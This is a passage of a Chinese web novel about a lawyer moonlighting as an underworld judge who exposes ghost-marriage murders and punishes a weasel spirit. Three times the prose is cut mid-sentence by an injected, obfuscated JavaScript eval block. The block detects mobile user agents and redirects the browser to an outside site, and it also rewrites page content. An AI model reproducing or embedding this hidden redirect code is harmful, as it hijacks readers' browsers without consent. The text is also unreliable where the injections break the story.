柏扶青看见他丝毫不意外:“发生了点意外,警察不让我自己出去,所以我只能给你打了电话。” “......你那个朋友呢?”殷垣没忍住问道,他记得柏扶青身边有个关系更亲近的朋友,怎么也比自己来要合适吧? “哦,他啊。”柏扶青,“他不在四九城。你不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667905|173007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正好是律师吗?” 柏扶青弯了弯眼睛,疏淡的眉眼倏然鲜活起来,“殷律师,帮帮忙。” “.....” “你怎么进来的?具体发生了什么?”殷垣别开眼睛,隔了一个座位坐下来。 “今天我出去散步,碰上有个小姑娘被关进了车里,一直在呼救。我就顺手把车窗给砸开,把她救了出来。” 听上去事情倒不大,殷垣点点头,“你砸的什么车?价格大概在什么区间?” “不知道。”柏扶青很坦诚道,“我不认识,不过应该不贵。” “是车主报的警吗?那个小姑娘和车主是什么关系?她人呢?” 柏扶青扬了扬下巴,示意道:“人都在里面。我嫌吵,就出来等着你了。就是没想到你会来这么快。” 也不知道有意无意,他这种漫不经心的语调总带着熟稔的意味,就像是两人认识了许多年。 殷垣对这种没来由的亲昵下意识想避开,便起身去调解室看情况。 甫一拉开门,一只水杯径直朝门口扔了过来。 殷垣想避开时已经晚了,沉沉的玻璃杯即将砸到他额头的前一秒,一只手从空隙里接住了。 “你——”殷垣惊诧了下,柏扶青单手扶着他肩,一起走进去。 语气不算友善问道:“谁扔的水杯?” 疲于调解的警察见此,批评道:“说话就说话,不要动手,这里是警察局。你们这样成什么样子了?啊?刚才幸好是没伤到人,要是伤到了,谁都逃不掉!” 左手边的年轻女孩低下头,倔强道:“进去就进去,总比在外面提心吊胆强。” 右手边的中年夫妻登时不乐意了,男的一拍桌子,“你怎么说话的?谁要害你了?” “我说的谁,谁心里最清楚,你们非要我把话说得更难听是吗?”年轻女孩梗着脖子,涨红了脸说道:“今天是我幸运,被人救了出来。要是我今天没遇到他,现在已经不知道被你们卖到了哪里!” 她说罢,抹了把摇摇欲坠的泪珠,拿起包起身,对警察说道:“今天这事我能证明他就是要救我的,不是故意损害财产。” 警察为难:“可是车子是在你爸妈名下……” 中年夫妻情绪激动,“你个白眼狼,真是白养你这么多年了,现在都会胳膊肘往外拐,帮着别的男人对付自己爹妈了。” “你们配当我爸妈吗?”年轻女孩啐了一口,“我呸!” “我花了那么多钱养你,还不如养条狗呢——” “所以你们现在就想把我卖了好换钱是吧!”年轻女孩的声音陡然凄厉,一下子把那中年夫妻给震住。 只听这女孩说道:“把我当个物件卖了……年龄不到25,研究生学历,身高165,符合一条加二十万,一共八十万块钱——你们真敢拿这个钱啊!” “那我到底算什么?我辛辛苦苦上得这么多年学到底算什么,是你们拿来做交易的筹码吗?”年轻女孩情绪只爆发了一瞬,很快就压制下来,强压着情绪对警察道:“行,你们不是办案的吗?” “我要举报,我的父母是人贩子的帮凶,还跟别人预谋了一场□□。” 女孩失望地看着对面的夫妻,眼中满是怨恨,“你们没想到吧,我其实都知道了。你们打电话说的那些,我全都听见了。” “你个死孩子,瞎说什么呢?”中年男人作势要扑过去捂她的嘴。 脚尖还没离开地,膝窝就被踹了一脚,丝毫没有防备地直直跪在地上。 嘭地一声重响,听着就疼。 罪魁祸首却没任何同理心,甚至还幸灾乐祸道:“哎呀,怎么有人连站都站不稳。” 殷垣:“……” 他下意识往角落的摄像头看了眼。 柏扶青把杯子放回桌面,对警察道:“我的律师来了,有什么话可以开始了。” 一个头两个大的警察耳膜嗡嗡作响,被接连的突然状况弄得头疼,总算来了个懂法的人,不禁大喜,忙迎上前。 “那太好了!” 18. 第 18 章 柏扶青搭在殷垣肩上的手还没移开,压低声音说道:“殷律师,加油啊。” “……” 殷律师听见这近在咫尺的嗓音,蓦地将他的手拍走,往外移了半步拉开距离。 柏扶青对他这种刻意疏远的态度有些吃味,心里啧啧两声,都认识了这么久,还这么冷漠呢。 年轻女孩瞪着眼睛看中年夫妻相互搀扶地起身,倏然发现,既然都到了这一步,她也不能退了。 她之前以为退一退是风平浪静,可万万没想到,她身后哪来的海,只有万丈悬崖。 警察秉着一件事一件事来的想法,先谈了损害财物的案子。 “对方的车是一辆丰田suv,市场价在十五万左右,买来差不多已经两年。你这边的人砸了它一扇车窗,外加车漆也划伤了。报损价格在一万八左右。” 他刚说完,中年女人先不乐意了,“什么叫买回来两年,这两年我们都没怎么开过,它就是全新的。赔偿至少要三万,没有三万别想和解。” 旁边的中年男人也附和:“就是啊,这车好好的停在马路上,旁边那么多人都没砸,就他砸了,这不是故意损害财物是什么?” 殷垣耐心听他们说完,然后冲警察道:“当时的情况,你应该比我更清楚。我的当事人为什么要砸车?他要救人,这点那个女孩自己也说了。基于营救为目的的砸窗,这叫紧急避险,别说要承担法律责任,我们一分钱都不会赔偿。” 他转而问年轻女孩,“你能说说为什么被困在车里还喊救命吗?” 年轻女孩对上他平静的眸子,怔然几秒,情绪逐渐冷静下来。稳着声音说道:“因为我是被他们骗上车的,我今天本来在学校做实验,我妈打电话说奶奶身体不好,让我立刻跟他们回老家一趟。我就出校门上了这辆车,结果刚上去,他们就把车门全部反锁了,我那时候就感觉到了不对劲。又悄悄给我堂姐联系,她说奶奶压根没事。” “至于为什么他们要骗我,因为上周有个非常有钱的女人找上我妈,说我的八字和她儿子相配,想让我直接结婚。定金八十万,结婚后还会一次性给五百万,我爸妈答应了,但是我不同意,我不想结婚,更不想因为这退学,我好不容易才考上的研究生。” 年轻女孩顿了顿,撇过头继续道:“我在车上知道他们想把我带去结婚后就想了办法把他们支开一段时间。结果为了怕我逃跑,居然还反锁了车窗。要不是我拼命求救,现在只怕已经被绑到了床上等着结婚了。” 殷垣点点头,对警察道:“拐卖妇女已经构成了紧急避险的客观条件。我的当事人砸窗救人没有任何问题。” “我呸,什么叫没有问题!我带我自己的女儿出门,关你们p事,多管闲事,我告诉你们,今天不拿钱,谁都别想走!” 殷垣看都没看他一眼,对警察道:“我们办案子有时候还要考虑案子带来的社会属性,如果因为救人还要被罚,警官同志,你应该比我更清楚后果。” “况且她刚才提到了高价彩礼和强迫婚姻,我觉得你们更应该把重点放在这上面。五百八十万,确实不少。” 调解室的门响了一声,被人从外推开。 “呦,这么热闹呢。”赵云州敲了敲门,冲正在调解的警察勾勾手指,示意他过来。 两人耳语了几句,调解警察转身立刻变了神色,冲那对中年夫妻说道:“调解先放一边,你们俩跟我来一趟。” 中年夫妻懵了,嚣张的气焰灭了不少,讷讷道:“怎么了?还有什么事啊?” 赵云州接话:“给你们钱的女人是不是叫云水?” “……是、是啊。” “那就没错了,带走吧。”赵云州摆摆手,“她涉嫌故意杀人。” “什么?故意杀人!不是,警察同志,我们俩都是无辜的,我们什么都不知道——” 中年夫妻直接被几个警察拷走,声音逐渐远离变弱。 年轻女孩被这场变故惊愣几秒,不详的预感让她头皮发麻,旋即起身叫住赵云州:“警官,我能问问那个人故意杀人,杀的是谁吗?” 赵云州沉默片刻后道:“你知道她拿八字是要做什么的吗?” “不是算姻缘?” 殷垣抬眸往他们那看了眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667906|173007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“阴婚也是姻缘。”赵云州淡淡道:“她儿子去年就车祸死了。” 年轻女孩捂着嘴,周身一阵凄凉。 她爸妈知道对方要做什么吗? 如果知道呢? 她简直不敢深想,本来以为父母已经够绝情了,可没想到背后的真相更骇人。 如果今天没被救,她是不是也该死了? 瘦弱的身体沿着墙壁滑落,女孩蹲在地上抱着自己大哭。 赵云州看不下去,找了个女警把人扶到里面安慰一下。 扭头看见熟悉的人脸,不禁说道:“哎呦喂,殷律师也在这啊,真是忙花了眼,都没看见您大驾光临呢。” “……” 殷垣对他拙劣演技的态度就是表示无语。 赵云州推门第一眼就先落到了自己身上,明显是不想当着别人的面表现出认识,避免不必要的麻烦。 殷垣站起身,看了眼还在哭的年轻女孩,“她父母怎么回事?” “配阴婚呗。也不知道他们到底清不清楚这件事。” “五百八十万彩礼,又不用出陪嫁,至少也该知道不对劲了。”殷垣说罢,想起来自己来这的目的,回头看了眼柏扶青,“走吧,事情差不多了。” 柏扶青一直站在原地没动,冷眼看着殷垣和赵云州说话,被殷垣看过来时瞬间换了副表情,弯了弯眼睛说道:“好。” 等出了调解室在长廊走了一段路,赵云州说道:“行了,我就不送了。你们俩自个走吧。” 殷垣自己开了车,就停在了路边。柏扶青这些日子网约车坐惯了,下意识开了后车门。 殷垣看着他流畅的动作,站在旁边淡淡道:“我是你的司机吗?” 柏扶青心领神会,紧急关上门。并不着痕迹地说了句:“我以为副驾驶位不能轻易坐呢。” “什么乱七八糟的,又不是没坐过。”殷垣皱了皱眉,正要拉开车门进去。身后传来一声叫喊,“麻烦等一下。” 刚才在调解室哭泣的年轻女孩小跑着过来,站在离殷垣一步之遥,缓了口气说道:“你好,我能问您一些问题吗?” 19. 第 19 章 “你说。” “我想知道,如果我的父母真的进去了,会被判多久。” “我不知道。”殷垣道,“目前的案情都不清楚,况且我是律师,不负责判刑。” “这样啊……”年轻女孩失望地低头,“谢谢你,我没事了。” “你想救你父母出来还是担心他们不会进去?” “当然送他们进去!我怎么可能想帮他们。” “那你就不用管了,如果是刑事案件,有检察院起诉。你保证自己不会给他们找辩护律师就行。” “这样就行了?” “你能做的都做了,剩下的只有交给法律来解决。” 回程路上,柏扶青意外道:“我以为你会主动接手这个案子。” “我看起来很闲?”殷垣瞥了他一眼,“而且本来就没什么需要律师的地方。她自己一个人就能做到,没必要多花钱请律师。” “如果案子查不清楚呢?” “没有如果,我相信警察。” “你相信警察还是相信那个朋友?” “……”殷垣莫名其妙道:“你砸玻璃的时候顺便敲到自己的脑子?这个问题有什么区别。” 柏扶青闭了闭眼睛,“这里空气太干了,我没睡好。” “最近一直是阴雨天。” 四九城现在的空气湿度能达到百分之七十,出个门就好像泡在水里一样。殷垣不理解这个“干”从何说起。 “哦。”柏扶青道。 殷垣没功夫送他回家,就近找了个地铁站把人放下。柏扶青对此没什么意见,不过临下车前,他还是嘱咐道:“我送的盆栽你一定要收下,那是发财树,能庇佑你未来一直财运通达。” “……” 他这么认真地说这种迷信的话,殷垣觉得柏扶青又拓宽了一个就业方向,去给人算命也行。 估计靠着这张脸都能吸引不少客户,不过唯一一个缺点就是容易进去。 柏扶青看他对着自己莫名走了神,晃了晃修长干净的手指,“你记得找我来拿。” “再说吧。”殷垣视线在他手上一闪而过,不置可否,压根没把这事放心上。 当晚,他下班还没回到家就看到了白无常勾了魂等在楼下,催促道:“你快点,要上班了!” 他飘在绿化带前的树下,双脚离地面有一大段距离,乍一看,跟个人吊在树上似的。 殷垣:“我刚下班……” “那你尽快啊,爬楼太累了,我就在下面等你。”白无常摆摆手,锁链随着他的动作发出叮啷响动,被勾住脖子的鬼瞬间吐出了舌头,求饶道:“大人,您轻点,小的要喘不上气了。” “你倒是喘个气给我看看。”白无常没好气白他一眼。 殷垣走后没多久,另一个男人从白无常旁边路过,看朝向是和殷垣同一单元。 白无常朝他吐了吐舌头,眼睛一亮,“这个好,下次来得时候就顺便找你要点钱了。” 他自言自语的一句话,不想那个男人顿住脚步看过来,“你要我的钱?” “……” 嗯?他怎么能看见自己的? 白无常还没反应过来发生了什么事。 一条手臂粗的藤蔓凭空出现,死死勒住他的脖颈,真把他吊在树上。 靠—— 白无常舌头越吐越长,几乎垂到了胸口,挣扎地说道:“大、大胆,你知道我是谁吗?” “地府无常而已。”柏扶青漠然道:“早听说你们经常朝各种鬼跟人勒索钱财,看来传闻果然不假。” “你、你……”白无常悄悄用了咒术,见完全没用,就明白这绝对是个大大大佬,他得罪不起,他的顶头上司也得罪不起的那种。 立刻换了个副脸色,努力讨好道:“不知道您是哪位大仙,真是大水冲了龙王庙,咱们都是一家人。我那就是说着玩的话,您别当真。你看,我现在还在干活呢。” 柏扶青的眼神移到白无常身边的鬼身上,那鬼立刻毛骨悚然,浑身发抖,死活不敢和他对视,只一味地点头附和。 “下不为例。”柏扶青手指轻抬,藤蔓倏然收回。 想到殷垣最近身上莫名沾的鬼气,柏扶青似乎有了答案,脸色沉了沉,警告道:“不许再找生人勒索,更不要靠近。” 白无常唯唯诺诺答应。 看着人慢吞吞走远了才敢拍了拍胸口,喃喃道:“妈呀,真是吓死我了。” 旁边的鬼小声提醒道:“您已经死了。” “……” 等殷垣换了身工作服下来时,看见一白一黑两个鬼鹌鹑一样紧靠着树,不由纳闷道:“你们怎么了?” “你这小区……”白无常半晌才绞尽脑汁想出一个评价,“当真是卧虎藏龙。” 殷垣不理解。 白无常刚才受到的创伤太大,一点也不想多回忆,看人已经来了,便说道:“走吧,今晚还要干件大事。你还记得伤人的黄仙吧,他被找着了。” “这么快——” 白无常哼哼两声,“那也不看看我是谁。” “要说这黄仙难怪找不到,他把自己个藏到了一般人压根想不到的地方去了。” 一般野生黄鼠狼这种生物在城市中非常少见,毕竟路上到处都是车,稍不注意就容易被碾死了。而且城市里,不容易偷鸡。 殷垣以为白无常会带自己跑到偏僻点的郊区或者公园,没想到最后到了另一处小区里。 “这里……”殷垣眼尖地瞥见路牌,“你跑到二环了……” “啥二环不二环的,这边破房子真多。”白无常言语间颇为嫌弃,“我们那最简陋的纸厝都没这样破的,也就这个小区勉强还行。” 四九城老城区尤其是二环内的区域因为要对文物进行保护,这些年基本上没有什么变化,被他嫌弃的不少房屋都已经进保护文物的名单中。 殷垣还记得当初有个房地产大鳄走了不少关系拿下一小块这边的地皮,绕开重点保护的地方进行范围性重建。 还没建成前,这里的房价就直接被炒成了天价。 可后来开发时期,连续出现各种怪事,有个最有名至今被津津乐道的就是关于挖出十二个人骨坛子的传说。 据说施工那天深夜,打地基的时候有一块怎么也弄不平,工头就让人往下挖一段。结果连续挖出十二个半米高的坛子。 当即就有人去找了考古专家鉴定这是不是什么文物,结果没成想经过检验发现里面全是人的尸骨。更诡异的是挖出坛子没多久,主持工程的工头和几个工人相继意外离世。 这事一时轰动了整个四九城,各种各样的传言都传了出来,最具想象力的便是说这是古代的风水阵,拿来压制下面的恶鬼。风水阵被毁,这个楼盘就要全部成为凶宅了。 为此,房价直接骤跌。开发商焦头烂额全国请来各种专家勘验,对外放出的消息是这些坛子跟鬼怪没关系,那是有人特意捡骨带回家乡安葬,一种落叶归根的习俗。至于有人死亡,也都是意外与玄学没关系。 不过这些说法可信与否,只能是见仁见智了。 殷垣抿了抿唇,对十几年前的传闻并不评价,“那个黄仙呢?” “喏——”白无常一扬手,指了指深夜里透出红光的一间房。 漆黑的夜色中,周围安安静静一片,突然有个红光映照的窗户格外醒目。 打眼一看,还真有点瘆人。 白无常找了个树把那个鬼和勾魂锁一块锁了上去,接着从窗户里面飘进房子。殷垣紧跟其后。 他们是从客厅的外墙进去的,紧挨着的阳台的窗户半开,夜风卷动白纱做的窗帘在空中时不时翩飞。房子里静谧得落针可闻,似乎没人居住。 昏暗的红光从一间半掩着的房间透出,将客厅的一切照得影影绰绰,只能看清个模糊的轮廓。 “嚯,这怎么跟进了鬼屋一样。”白无常惊道。 “……” 殷垣默默看了他一眼,循着光往那个房间飘去。一踏进去,整个人都愣在原地。 空荡荡的房间里只有一张供台,十几个电子蜡烛摆在桌案上,散发出暗红色的光晕。最中间是一个木头雕制的牌位,上面红墨写了一列字:亡子云子州之牌位。 白无常看见这幕,怪道:“原来是供牌位的……不对,我线人给我的情报确定那黄仙就在这里啊。” “……线人?”殷垣神情复杂。 “你这什么眼神啊,少见多怪。”白无常嫌弃地撇撇嘴,在房间里四处打转张望。 见过警察发动群众当线人,这还是第一次见阴差发动群众的。 殷垣确实闻所未闻,并且叹为观止。 他不经意地往墙边靠了靠,忽地发觉不对劲的地方。 “供着牌位,怎么又不放遗像反而要摆一件佛像呢?” “……这不是佛。没听说过有长这样的佛。”白无常扫了眼说道,“应该是这家主人被忽悠请错东西了。” 殷垣轻轻挑眉,盯着电子红蜡烛的光晕沉默一会,问道:“请错神像会有什么后果吗?” “邪神占了正神位,还日日受供奉,不成精的东西也得开了点灵智,更别说其他邪祟……” 白无常说着,蓦地反应过来,甩出哭丧棒朝那佛像敲去。 慈眉善目的佛像霎时从头顶裂开一条缝隙。 白无常还要甩第二棍。 那尊只是裂缝的佛像瞬间四分五裂,从里面飞快地窜出一道白影,朝着窗户跳去。 “曹,我没拿勾魂索———” 白无常话还没说完,一根泛着红光的笔嗖地飞出,穿透黄鼠狼的头皮一块钉在墙上。 黄鼠狼全身的黄褐色皮毛根根直立,绿豆眼惊恐地看向殷垣。 不都说地府的阴差嘴好吃懒做,不干实事吗? 怎么会找过来了? “跑啊,怎么不跑了?见我们来了还装死,躲得过吗你!”白无常狞笑着拎起黄鼠狼后颈,伸头闻了闻,简直血气冲天,可想而知沾了多少人命。 殷垣收回判官笔,死活不肯上前,对这股味一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667907|173007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直皱着眉心,“他身上这味是怎么回事?” “这得问他自己了。”白无常冷笑,逼问:“大胆黄十六,身为仙家不思修行,反而到处害人,你今天最好老实交代所有经过,不然我即刻就扒了你这层皮,带去阎罗殿。” “……”黄鼠狼嘤嘤两声,弱弱道:“我是黄十四。” 殷垣适时说道:“看来你那线人不怎么靠谱啊。” “……” “少废话,问你什么就说什么。”白无常摆出正义凛然的架势。 “我……我……”黄十四眼睛滴溜溜转,不肯就此罢休,嚷嚷道:“我冤枉啊,我只不过是犯了每个黄鼠狼都犯的错误,偷了几只鸡而已。我真没害人,你们这是想要屈打成招,我要去找判官老爷,让他给我主持公道!” 白无常侧目,看向殷垣,这身红袍还不够有辩识度吗? 殷垣:“我在这,你说吧。” “呜呜呜——”黄十四哭声卡在嗓子里,震惊当场,“啥?” “现在提倡移动法庭,在这也能断案。你说吧。”殷垣道。 “……” 黄十四:“你是判官?……不应该啊,判官不都是大胡子吗?” “那是你少见多怪。”殷垣现学现卖,把这个词丢给了黄十四。 黄十四最后的机会也没了,心如死灰道:“我只是犯了每个妖怪都会犯的错误。修行这么苦,我走走捷径怎么了。” “走捷径?”殷垣和白无常对视一眼,心知这是正题开始了。 “这家主人是个女的,她儿子去年车祸死了。我看她一直精神恍惚,被人忽悠请了个假神像,就趁机钻进了里面。在她每次上供时,稍微显显灵,骗点香火吃。” “这不是时间长了,我就觉得这样对我的修行太慢。人的信仰固然有用,但到底不如直接吸□□气来的快。”黄十四打了个岔,“你们应该明白这个滋味吧,按时发工资哪有出去打劫来得快!” 白无常感觉自己被阴阳,顿时大怒:“你胡说,我从来没打劫过,那是他们自己愿意给的!” “……” 黄十四缩了缩脖子,继续道:“所以,所以我就告诉她,她儿子在下面很孤单想要找个伴。最好是同样车祸的那种,这样有共同语言。” “所以她真的去找了车祸离世的女孩来结阴婚?”殷垣问道。 “……哪有那么多正好车祸离世又适龄的女的。”黄十四语气古怪起来,“她是先看好了人,再拿对方八字找我算。如果合适,她就找人策划一场车祸,把女的弄死,拿她的骨灰来跟她儿子合葬。” 电子蜡烛的红光闪了闪。 殷垣沉默片刻又问道:“她杀了几个人?” “一、二、三、四……” 黄十四一个一个数数,空寂的房子里,一时都是他声音。 白无常听不下去,“你数什么数,死了几个,你自己不知道?” 黄十四露出尖利的牙齿,嘿嘿一笑。 殷垣顺着他视线猛地回头,这才发觉,在牌位旁边,摆了一排毫不起眼的盒子。这盒子是黑色的,在昏暗的红光中几乎隐了身。 饶是见过不少案子的他,还是忍不住脊背发寒。 “一个盒子就是一个人的骨灰……她怎么做到的?”殷垣不理解,“这些女孩的家属呢?他们没有骨灰怎么会善罢甘休?” “这简单,她有钱,什么是钱搞不定的。”黄十四说道:“要我说,狠还是人类狠。我只告诉她找一个人接阴婚就行,她自己觉得不够,生怕委屈了儿子,找了一大堆人给儿子陪葬,啧啧……” 难怪黄十四身上血气冲天,死了这么多人,因果得算他身上一半。 殷垣想到这,扭头看向白无常:“死了这么多人,你没察觉到不对?” 阴差平时都怎么干活的。 “……”白无常嘴硬:“有的人寿命没到头,进不了地府,我去勾魂做什么!再说,这片也不归我管。” “你们阴差做事还能再随心所欲点吗?”殷垣闭了闭眼睛,忍无可忍。 白无常:“行了行了,这不都来了嘛,你快想想办法怎么处理。我好带它去受罚。” 黄十四那绿豆大的眼睛在他们身上不安地来回转动:“你们要带我去哪?” 殷垣没搭理他,比起送黄十四受罚,现在还有另一件更紧要的事情去做。 凌晨,赵云州还在分局。 他们队四个人轮流上阵审讯,云水就是死活一个字都不肯说,把头一低,一副死猪不怕开水烫的模样。 赵云州看得生气,气鼓鼓坐到工位上翻看整理出来的卷宗,想要寻找其他线索突破。 可他连续二十四小时没合过眼,看见密密麻麻的字,睡意忽然席卷而来。 在梦里,他看见了个会说话的黄鼠狼。 黄鼠狼两腿蹲在地上,双爪做求饶状,委委屈屈地将赵云州刚接手的一桩案子以另一个角度讲了一遍。 末了,它说道:“云水朋友有一处住宅,你想知道的事情都在那里。” 20. 第 20 章 一梦初醒,赵云州趴在桌子上恍恍惚惚。 会说人话的黄鼠狼,这种奇葩的梦他到底是怎么想出来的? 同事拿着资料大步走进来,“我把云水身边所有的亲朋好友信息全调出来了,我们几个分分工,各自选几个人回去调查。” 赵云州接过递来的打印纸,一遍没看完,就瞧见一个熟悉的名字。 一个他没听过,但是梦里被提到的名字。 赵云州指着它,一字一顿念道:“穆玥。” 三个小时后,赵云州找到穆玥,盯着她打开一扇房门。 这房子应当是不经常住人,几乎没什么人气,环境干干净净跟样板房差不多。 穆玥解释道:“我不经常在四九城,这房子一直是云水帮我打理的。她偶尔会来这里看看。警官,这真没什么东西,你们怀疑云水还能在这□□啊,她又不缺这点钱,哈哈哈。” 赵云州不置可否,暗中将别在身后的枪握在手心,一间间房间挨个搜查。 直到最后一间虚掩着的屋子,门轻轻推动就开了,露出一个供桌。 穆玥放松坦荡的神色瞬间僵住,接着瞪大眼睛,全身的血凉了半截。 地上散落着几块不知道是什么的碎片,桌上一张牌位被数个盒子包围,电子蜡烛依旧幽幽发着红光。 明明是大白天,却看的人心惊肉跳,毛骨悚然。 赵云州低骂一声,打电话把队员全都叫了过来。 等人来后,穆玥磕磕巴巴做着笔录,几个警察小心翼翼收集证据,只有赵云州面朝一堵白墙怀疑人生。 难道他真的冥冥中有神人相助? 还是说他有什么预知梦的能力。 就像各种小说里那样,男主角体质特殊,经常能梦到杀人现场。他则是会梦到各种鬼怪来给他送线索! 半晌后,赵云州想通了,对着空气坚定地点头。 既然上天赋予他这种能力,那他就要好好办案,把所有的罪犯绳之以法! 赵云州自己给自己做了一番心理建设的事,殷垣并不清楚。 他带着黄十四从警局出来又到医院走了一趟,逼着黄十四将单易的精气还回去。 单人病房里,单易平躺床上发出沉重的呼吸声,露出被子外的手肘皮肤已经恢复了正常,看来是纪项兰已经给他治好了身上的问题。 现在只差他的那口气了。 人无精气则不活,倘若单易命大能吊着一口气活下去,下半辈子也会是个病痨,稍微一运动都能要了他的命。 黄十四不情不愿,“我和他是有深仇大恨的,凭什么放过他!” “你们俩怎么了?” 黄十四对着窗外月亮叹息,回忆往事,“那还得从我刚到四九城说起,那时,我还只是个普通的黄鼠狼。” “城里日子不好过,连只鸡都没有。我饿了好长时间,终于下定决心潜入别人家里偷吃的。当时第一次就撞上了他。就是他,嘲笑我癞蛤蟆想吃天鹅肉,还拍视频跟别人一块取笑。自那时我就明白了一件事,当你弱小的时候,只能当别人的取笑对象。所以我要努力修行,让所有人都看得起我!” 黄十四在脑子里给自己配了段战歌,几欲感动落泪。 “……” 殷垣冷漠地“哦”了一声,并催促他搞快点,自己还要回去睡觉。 “……”黄十四悲愤欲绝。 黄十四最后为自己的捷径买了单,一身修行被废不说,还被带到鸡鸣山下日日听山上寺庙的诵经声,百年内都不得离开这座山。 俗话说得好,“山不在高,有仙则名。”这鸡鸣山出名就是因为它常年的香火旺盛,许愿极灵,每天都有大批的信众上香拜佛。 白无常解释了些普通人不知道的事,“这山其实是有山神的,与其说是寺庙灵验倒不如说是山神灵验。这山神最嫉恶如仇,你也别把黄十四扔阎王殿了,你丢到鸡鸣山,自有山神治他。” 殷垣将信将疑按着他的提议处理完黄十四的事,接着睡了个回笼觉。 再睡醒时,毫不意外地发现自己已经迟到了。 秉着反正都迟到了,也不差这一会的念头,殷垣心安理得地在家里吃完早餐才出门。 邱妍见他来了不由大喜过望,悄悄借着接水的功夫跑出去和殷垣通风报信。 “殷律,刚才主任还问我你在哪呢。我说你去拿材料了,他才走了。” 对上邱妍清澈的眼睛,殷垣轻轻抿了抿唇角,很无所谓地道:“其实实话实说就好,反正他也习惯了。” 殷垣今天里面穿了件高领黑色毛衣,外面是件驼色大衣。从头发丝到鞋底无一不展示着身为专业律师的精英感。 可他,就是顶着这副模样堂而皇之说着摸鱼的话。 邱妍顿时涌出一股深深的割裂感。 殷垣没有丝毫带坏实习生的负罪感,“上个班而已,别有太强代入感。你这么积极,律所给你发工资了吗?” “……” 靠,说什么大实话。 邱妍那颗一心向法律熠熠生辉的心灵被敲得粉碎。 但是工作这种事,不是想逃就能逃的掉的。 殷垣还是得老老实实干活,接见当事人。 这个当事人是个三十出头的男人,身形微胖,眼睛不大,稍微一笑就弯成了一条缝。就是皮肤黑里发红,明显是被晒得过多了。 他唉声叹气,“我是搞工程的,经常在外面到处跑。这不是上周有个项目结了尾款,我就跟朋友出去唱K,结果有个朋友也不知道怎么想的,还找了几个女的来热场子。” “当时我太高兴,喝的酒有点多,有个女孩还蛮戳我点的,我一时兴奋就让她做我女朋友,她也答应了。然后我们去酒店开了房,就遇上了警察来查房。警察问我俩话,我就几个问题一时半会没回答上来,他们硬说我□□,昨天才刚放出来的。” “我又没给钱,你情我愿的事算什么□□嘛。而且我和那个女孩情投意合,互相看对了眼喽。这是男女朋友关系,警察就是不信嘛,您说我这有机会上诉吗?” 殷垣在纸上写了几个字,听他絮絮叨叨的话终于说完了,这才问道:“警察查房问你什么了,你没答上来?” “就问我,她的名字嘛。我没答上,她也没答上,警察就一口咬定了我们俩关系不正当。两个相爱的人叫不上对方名字怎么了,只要我们有爱就好了啊!” 邱妍没忍住,悄悄翻了个白眼。 这个世界真的是活久了,什么奇葩都能碰见。 殷垣对这种事司空见惯,眼皮眨都没眨,泰然继续问道:“你们俩现在还在一起吗?” “没,被带走后就分手了。” 殷垣:“所以你觉得自己是找了个一次性女友?认为只要没给钱,就算发生关系,也不算犯罪。你觉得是没所谓,那她呢?她图你什么?不要你钱,还陪你睡觉,她这么好心来做慈善?” “……” 男人被噎了半天才说道:“就不能图我长得帅吗?我才三十,男人三十一枝花!” “那个女孩多大了?” 男人道:“二十一还是二十二来着……” 手指叩了叩桌子,殷垣淡淡道:“小邱,你有镜子吗?” 邱妍心领神会地献上自己粉嫩带花边的化妆镜,还贴心地竖在男人正前方,映照出他那张朴素的脸庞。 殷垣十分真诚地建议:“麻烦你看着镜子再说一遍,她图你什么?” 男人黝黑的脸涨成了猪肝色,有些生气地说道:“我请你是让你帮我办事的,你扯这些没用的东西干什么!” “那就实话实说。”殷垣道:“你没给她钱,你的朋友呢?女孩出场一次的费用你总该知道吧。” “……八千五。” “一个人还是几个人?” “一共三个人。” “平均一个人出场费将近三千了。”殷垣抿了抿唇,“看来你们还挺有钱,陪唱歌就能给三千了。” “……”男人气急败坏,“你就说能不能上诉吧,我不想因为这个留案底。” “机率非常渺茫。” “那还是有机会?!!”男人眼睛亮了一下。 殷垣:“不排除有亿分之一,你有穿越的可能性。” 男人:“……” 邱妍兴奋地握紧拳头,妈呀,殷律师这嘴怎么长的啊。 男人倏然起身,“我对你们律所非常失望,居然这点小事都办不成!一个个都干什么吃的,还收费这么贵!” 殷垣轻叹一口气,“其实你这事十块钱就能办到,确实不用这么麻烦。” “?”男人狐疑地看他。 “三块钱坐地铁到鸡鸣寺,七块钱买柱香拜拜,一样的效果。” 邱妍差点没憋住笑,死死低头掐自己大腿忍耐。 男人再忍不下去,冷哼一声,盯着殷垣道:“我记住你了!” “谢谢,但实话实说,很少有人见面后会记不住我。”殷垣说完,冲他客气地露出个微笑:“咨询费您记得付,欢迎下次再来。” 